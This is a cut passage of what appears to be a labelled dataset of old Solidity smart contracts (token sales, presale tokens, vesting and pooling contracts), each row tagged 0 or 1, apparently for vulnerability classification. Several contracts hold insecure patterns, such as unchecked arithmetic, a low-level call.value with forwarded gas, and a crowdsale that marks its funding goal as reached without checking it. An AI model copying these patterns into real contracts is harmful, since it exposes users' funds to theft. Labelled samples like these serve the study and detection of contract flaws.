require (contractStage < 3);
require (whitelist[addr].authorized);
require (whitelistContract.checkMemberLevel(addr) == 0);
whitelist[addr].authorized = false;
if (whitelist[addr].balance > 0) {
uint amountToTransfer = whitelist[addr].balance;
whitelist[addr].balance = 0;
addr.transfer(amountToTransfer);
ContributorBalanceChanged(addr, 0);
}
}
function modifyIndividualCap (address addr, uint cap) public onlyOwner {
require (contractStage < 3);
require (cap < contributionCaps.length || (cap >= contributionMin && cap <= contributionCaps[0]) );
_checkWhitelistContract(addr);
var c = whitelist[addr];
require (c.authorized);
uint amount = c.balance;
c.cap = cap;
uint capAmount = _checkCap(addr);
if (amount > capAmount) {
c.balance = capAmount;
addr.transfer(amount.sub(capAmount));
ContributorBalanceChanged(addr, capAmount);
}
}
function modifyLevelCap (uint level, uint cap) public onlyOwner {
require (contractStage < 3);
require (level > 0 && level < contributionCaps.length);
require (this.balance <= cap && contributionCaps[0] >= cap);
contributionCaps[level] = cap;
nextCapTime = 0;
}
function modifyAllLevelCaps (uint[] cap, uint time) public onlyOwner {
require (contractStage < 3);
require (cap.length == contributionCaps.length-1);
require (time == 0 || time>block.timestamp);
if (time == 0) {
for (uint8 i = 0; i < cap.length; i++) {
modifyLevelCap(i+1, cap[i]);
}
} else {
nextContributionCaps = contributionCaps;
nextCapTime = time;
for (i = 0; i < cap.length; i++) {
require (contributionCaps[i+1] <= cap[i] && contributionCaps[0] >= cap[i]);
nextContributionCaps[i+1] = cap[i];
}
}
}
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
contributionCaps[0] = amount;
nextCapTime = 0;
for (uint8 i=1; i<contributionCaps.length; i++) {
if (contributionCaps[i]>amount) contributionCaps[i]=amount;
}
}
function _checkCap (address addr) internal returns (uint) {
_checkWhitelistContract(addr);
var c = whitelist[addr];
if (!c.authorized) return 0;
if (nextCapTime>0 && block.timestamp>nextCapTime) {
contributionCaps = nextContributionCaps;
nextCapTime = 0;
}
if (c.cap<contributionCaps.length) return contributionCaps[c.cap];
return c.cap;
}
function _checkWhitelistContract (address addr) internal {
var c = whitelist[addr];
if (!c.authorized) {
var level = whitelistContract.checkMemberLevel(addr);
if (level == 0 || level >= contributionCaps.length) return;
c.cap = level;
c.authorized = true;
}
}
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (contributionCaps[0],this.balance,remaining);
}
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = whitelist[addr];
if (!c.authorized) {
cap = whitelistContract.checkMemberLevel(addr);
if (cap == 0) return (0,0,0);
} else {
cap = c.cap;
}
balance = c.balance;
if (contractStage == 1) {
if (cap<contributionCaps.length) {
if (nextCapTime == 0 || nextCapTime > block.timestamp) {
cap = contributionCaps[cap];
} else {
cap = nextContributionCaps[cap];
}
}
remaining = cap.sub(balance);
if (contributionCaps[0].sub(this.balance) < remaining) remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (balance, cap, remaining);
}
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = whitelist[addr];
var d = distributionMap[tokenAddr];
for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
return tokenAmount;
}
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
function setReceiverAddress (address addr) public onlyOwner {
require (addr != 0x00 && receiverAddress == 0x00);
require (contractStage < 3);
receiverAddress = addr;
addressChangeBlock = block.number;
ReceiverAddressSet(addr);
}
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (receiverAddress != 0x00);
require (block.number >= addressChangeBlock.add(6000));
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
if (this.balance > 0) ethRefundAmount.push(this.balance);
contractStage = 3;
PoolSubmitted(receiverAddress, amountInWei);
}
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distributionMap[tokenAddr];
if (d.pct.length==0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount,feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount,finalBalance));
}
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received (from, value);
}
} | 0 | 1,373 |
pragma solidity ^0.4.13;
contract PresaleToken
{
string public constant name = "Remechain Presale Token";
string public constant symbol = "RMC";
uint public constant decimals = 18;
uint public constant PRICE = 320;
uint public constant TOKEN_SUPPLY_LIMIT = PRICE * 1875 * (1 ether / 1 wei);
enum State{
Init,
Running,
Paused,
Migrating,
Migrated
}
State public currentState = State.Init;
uint public totalSupply = 0;
address public escrow = 0;
address public tokenManager = 0;
address public crowdsaleManager = 0;
mapping (address => uint256) private balance;
struct Purchase {
address buyer;
uint amount;
}
Purchase[] purchases;
modifier onlyTokenManager() { require(msg.sender == tokenManager); _;}
modifier onlyCrowdsaleManager() { require(msg.sender == crowdsaleManager); _;}
modifier onlyInState(State state){ require(state == currentState); _;}
event LogBuy(address indexed owner, uint value);
event LogBurn(address indexed owner, uint value);
event LogStateSwitch(State newState);
function PresaleToken(address _tokenManager, address _escrow)
{
require(_tokenManager!=0);
require(_escrow!=0);
tokenManager = _tokenManager;
escrow = _escrow;
}
function buyTokens(address _buyer) public payable onlyInState(State.Running)
{
require(msg.value != 0);
uint newTokens = msg.value * PRICE;
require(!(totalSupply + newTokens < totalSupply));
require(!(totalSupply + newTokens > TOKEN_SUPPLY_LIMIT));
balance[_buyer] += newTokens;
totalSupply += newTokens;
purchases[purchases.length++] = Purchase({buyer: _buyer, amount: newTokens});
LogBuy(_buyer, newTokens);
}
function burnTokens(address _owner) public onlyCrowdsaleManager onlyInState(State.Migrating)
{
uint tokens = balance[_owner];
require(tokens != 0);
balance[_owner] = 0;
totalSupply -= tokens;
LogBurn(_owner, tokens);
if(totalSupply == 0)
{
currentState = State.Migrated;
LogStateSwitch(State.Migrated);
}
}
function balanceOf(address _owner) constant returns (uint256)
{
return balance[_owner];
}
function setPresaleState(State _nextState) public onlyTokenManager
{
bool canSwitchState
= (currentState == State.Init && _nextState == State.Running)
|| (currentState == State.Running && _nextState == State.Paused)
|| ((currentState == State.Running || currentState == State.Paused)
&& _nextState == State.Migrating
&& crowdsaleManager != 0x0)
|| (currentState == State.Paused && _nextState == State.Running)
|| (currentState == State.Migrating && _nextState == State.Migrated
&& totalSupply == 0);
require(canSwitchState);
currentState = _nextState;
LogStateSwitch(_nextState);
}
function withdrawEther() public onlyTokenManager
{
if(this.balance > 0)
{
require(escrow.send(this.balance));
}
}
function setTokenManager(address _mgr) public onlyTokenManager
{
tokenManager = _mgr;
}
function setCrowdsaleManager(address _mgr) public onlyTokenManager
{
require(currentState != State.Migrating);
crowdsaleManager = _mgr;
}
function getTokenManager()constant returns(address)
{
return tokenManager;
}
function getCrowdsaleManager()constant returns(address)
{
return crowdsaleManager;
}
function getCurrentState()constant returns(State)
{
return currentState;
}
function getPrice()constant returns(uint)
{
return PRICE;
}
function getTotalSupply()constant returns(uint)
{
return totalSupply;
}
function getNumberOfPurchases()constant returns(uint) {
return purchases.length;
}
function getPurchaseAddress(uint index)constant returns(address) {
return purchases[index].buyer;
}
function getPurchaseAmount(uint index)constant returns(uint) {
return purchases[index].amount;
}
function() payable
{
buyTokens(msg.sender);
}
} | 1 | 3,726 |
pragma solidity ^0.4.18;
library SafeOpt {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a - b;
assert(b <= a);
assert(a == c + b);
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
assert(a == c - b);
return c;
}
}
contract TTDTokenIssue {
uint256 public lastYearTotalSupply = 15 * 10 ** 26;
uint8 public affectedCount = 0;
bool public initialYear = true;
address public tokenContractAddress;
uint16 public preRate = 1000;
uint256 public lastBlockNumber;
function TTDTokenIssue (address _tokenContractAddress) public{
tokenContractAddress = _tokenContractAddress;
lastBlockNumber = block.number;
}
function returnRate() internal returns (uint256){
if(affectedCount == 10){
if(preRate > 100){
preRate -= 100;
}
affectedCount = 0;
}
return SafeOpt.div(preRate, 10);
}
function issue() public {
if(initialYear){
require(SafeOpt.sub(block.number, lastBlockNumber) > 2102400);
initialYear = false;
}
require(SafeOpt.sub(block.number, lastBlockNumber) > 2102400);
TTDToken tokenContract = TTDToken(tokenContractAddress);
if(affectedCount == 10){
lastYearTotalSupply = tokenContract.totalSupply();
}
uint256 amount = SafeOpt.div(SafeOpt.mul(lastYearTotalSupply, returnRate()), 10000);
require(amount > 0);
tokenContract.issue(amount);
lastBlockNumber = block.number;
affectedCount += 1;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public;
}
contract TTDToken {
string public name = 'TTD Token';
string public symbol = 'TTD';
uint8 public decimals = 18;
uint256 public totalSupply = 100 * 10 ** 26;
address public issueContractAddress;
address public owner;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
event Issue(uint256 amount);
function TTDToken() public {
owner = msg.sender;
balanceOf[owner] = totalSupply;
issueContractAddress = new TTDTokenIssue(address(this));
}
function issue(uint256 amount) public {
require(msg.sender == issueContractAddress);
balanceOf[owner] = SafeOpt.add(balanceOf[owner], amount);
totalSupply = SafeOpt.add(totalSupply, amount);
Issue(amount);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success){
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(_value <= balanceOf[msg.sender]);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 2,823 |
pragma solidity ^0.4.25;
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Claimable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract JZMLock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(address(this));
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
function canRelease() public view returns (bool){
return block.timestamp >= releaseTime;
}
}
contract JZMToken is PausableToken {
event TransferWithLock(address indexed from, address indexed to, address indexed locked, uint256 amount, uint256 releaseTime);
mapping (address => address[] ) public balancesLocked;
function transferWithLock(address _to, uint256 _amount, uint256 _releaseTime) public returns (bool) {
JZMLock lock = new JZMLock(this, _to, _releaseTime);
transfer(address(lock), _amount);
balancesLocked[_to].push(lock);
emit TransferWithLock(msg.sender, _to, address(lock), _amount, _releaseTime);
return true;
}
function balanceOfLocked(address _owner) public view returns (uint256) {
address[] memory lockTokenAddrs = balancesLocked[_owner];
uint256 totalLockedBalance = 0;
for (uint i = 0; i < lockTokenAddrs.length; i++) {
totalLockedBalance = totalLockedBalance.add(balances[lockTokenAddrs[i]]);
}
return totalLockedBalance;
}
function releaseToken(address _owner) public returns (bool) {
address[] memory lockTokenAddrs = balancesLocked[_owner];
for (uint i = 0; i < lockTokenAddrs.length; i++) {
JZMLock lock = JZMLock(lockTokenAddrs[i]);
if (lock.canRelease() && balanceOf(lock)>0) {
lock.release();
}
}
return true;
}
}
contract TUToken is JZMToken {
using SafeMath for uint256;
string public constant name = "Trust Union";
string public constant symbol = "TUT";
uint8 public constant decimals = 18;
uint256 private constant TOKEN_UNIT = 10 ** uint256(decimals);
uint256 private constant INITIAL_SUPPLY = (10 ** 9) * TOKEN_UNIT;
address private constant ADDR_MARKET = 0xEd3998AA7F255Ade06236776f9FD429eECc91357;
address private constant ADDR_FOUNDTEAM = 0x1867812567f42e2Da3C572bE597996B1309593A7;
address private constant ADDR_ECO = 0xF7549be7449aA2b7D708d39481fCBB618C9Fb903;
address private constant ADDR_PRIVATE_SALE = 0x252c4f77f1cdCCEBaEBbce393804F4c8f3D5703D;
address private constant ADDR_SEED_INVESTOR = 0x03a59D08980A5327a958860e346d020ec8bb33dC;
address private constant ADDR_FOUNDATION = 0xC138d62b3E34391964852Cf712454492DC7eFF68;
uint256 private constant S_MARKET_TOTAL = INITIAL_SUPPLY * 5 / 100;
uint256 private constant S_MARKET_20181030 = 5000000 * TOKEN_UNIT;
uint256 private constant S_MARKET_20190130 = 10000000 * TOKEN_UNIT;
uint256 private constant S_MARKET_20190430 = 15000000 * TOKEN_UNIT;
uint256 private constant S_MARKET_20190730 = 20000000 * TOKEN_UNIT;
uint256 private constant S_FOUNDTEAM_TOTAL = INITIAL_SUPPLY * 15 / 100;
uint256 private constant S_FOUNDTEAM_20191030 = INITIAL_SUPPLY * 5 / 100;
uint256 private constant S_FOUNDTEAM_20200430 = INITIAL_SUPPLY * 5 / 100;
uint256 private constant S_FOUNDTEAM_20201030 = INITIAL_SUPPLY * 5 / 100;
uint256 private constant S_ECO_TOTAL = INITIAL_SUPPLY * 40 / 100;
uint256 private constant S_ECO_20190401 = 45000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20191001 = 45000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20200401 = 40000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20201001 = 40000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20210401 = 35000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20211001 = 35000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20220401 = 30000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20221001 = 30000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20230401 = 25000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20231001 = 25000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20240401 = 25000000 * TOKEN_UNIT;
uint256 private constant S_ECO_20241001 = 25000000 * TOKEN_UNIT;
uint256 private constant S_PRIVATE_SALE = INITIAL_SUPPLY * 10 / 100;
uint256 private constant S_SEED_INVESTOR = INITIAL_SUPPLY * 10 / 100;
uint256 private constant S_FOUNDATION = INITIAL_SUPPLY * 20 / 100;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[owner] = totalSupply_;
_initWallet();
_invokeLockLogic();
}
function _initWallet() internal onlyOwner {
transfer(ADDR_PRIVATE_SALE, S_PRIVATE_SALE);
transfer(ADDR_SEED_INVESTOR, S_SEED_INVESTOR);
transfer(ADDR_FOUNDATION, S_FOUNDATION);
}
function _invokeLockLogic() internal onlyOwner {
transferWithLock(ADDR_MARKET, S_MARKET_20181030, 1540828800);
transferWithLock(ADDR_MARKET, S_MARKET_20190130, 1548777600);
transferWithLock(ADDR_MARKET, S_MARKET_20190430, 1556553600);
transferWithLock(ADDR_MARKET, S_MARKET_20190730, 1564416000);
transferWithLock(ADDR_FOUNDTEAM, S_FOUNDTEAM_20191030, 1572364800);
transferWithLock(ADDR_FOUNDTEAM, S_FOUNDTEAM_20200430, 1588176000);
transferWithLock(ADDR_FOUNDTEAM, S_FOUNDTEAM_20201030, 1603987200);
transferWithLock(ADDR_ECO, S_ECO_20190401, 1554048000);
transferWithLock(ADDR_ECO, S_ECO_20191001, 1569859200);
transferWithLock(ADDR_ECO, S_ECO_20200401, 1585670400);
transferWithLock(ADDR_ECO, S_ECO_20201001, 1601481600);
transferWithLock(ADDR_ECO, S_ECO_20210401, 1617206400);
transferWithLock(ADDR_ECO, S_ECO_20211001, 1633017600);
transferWithLock(ADDR_ECO, S_ECO_20220401, 1648742400);
transferWithLock(ADDR_ECO, S_ECO_20221001, 1664553600);
transferWithLock(ADDR_ECO, S_ECO_20230401, 1680278400);
transferWithLock(ADDR_ECO, S_ECO_20231001, 1696089600);
transferWithLock(ADDR_ECO, S_ECO_20240401, 1711900800);
transferWithLock(ADDR_ECO, S_ECO_20241001, 1727712000);
}
} | 0 | 1,775 |
pragma solidity ^0.4.16;
interface token {
function transfer(address receiver, uint amount);
}
contract Crowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool public fundingGoalReached = false;
bool public crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
event LogAmount(uint amount);
function Crowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint weiCostOfEachToken,
address addressOfTokenUsedAsReward) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = weiCostOfEachToken * 1 wei;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
LogAmount(amount);
tokenReward.transfer(msg.sender, 2000 * (amount / price));
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 867 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BITVesting is Ownable {
BITToken public token;
uint256 public releaseDate;
function BITVesting (
BITToken _token,
address _beneficiary,
uint256 _releaseDate
) public {
token = _token;
releaseDate = _releaseDate;
owner = _beneficiary;
}
function claim (
address _recipient,
bytes _data
) external onlyOwner returns (bool success) {
require(_recipient != address(0));
require(block.timestamp > releaseDate);
uint256 funds = token.balanceOf(this);
require(token.transfer(_recipient, funds));
selfdestruct(msg.sender);
return true;
}
function tokenFallback(
address _from,
uint _value,
bytes _data
) external view {
require(msg.sender == address(token));
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BITToken is MintableToken, PausableToken {
event Vested(address indexed beneficiary, address indexed vestingContract, uint256 releaseDate, uint256 amount);
event TransferWithData(address indexed _from, address indexed _to, uint256 _value, bytes32 data);
uint256 public constant decimals = 18;
string public constant name = "TempToken2";
string public constant symbol = "TEMP2";
function transferWithData (address _to, uint256 _value, bytes32 _data) public returns(bool res) {
if (super.transfer(_to, _value)) {
emit TransferWithData(msg.sender, _to, _value, _data);
return true;
}
}
function transferFromWithData (address _from, address _to, uint256 _value, bytes32 _data) public returns(bool res) {
if (super.transferFrom(_from, _to, _value)) {
emit TransferWithData(_from, _to, _value, _data);
return true;
}
}
function vest(
address _beneficiary,
uint256 _releaseDate,
uint256 _amount
)
public onlyOwner canMint returns (address)
{
address vestingContract = new BITVesting(
this,
_beneficiary,
_releaseDate
);
assert (vestingContract != 0x0);
require(mint(vestingContract, _amount));
emit Vested(_beneficiary, address(vestingContract), _releaseDate, _amount);
return vestingContract;
}
} | 0 | 926 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
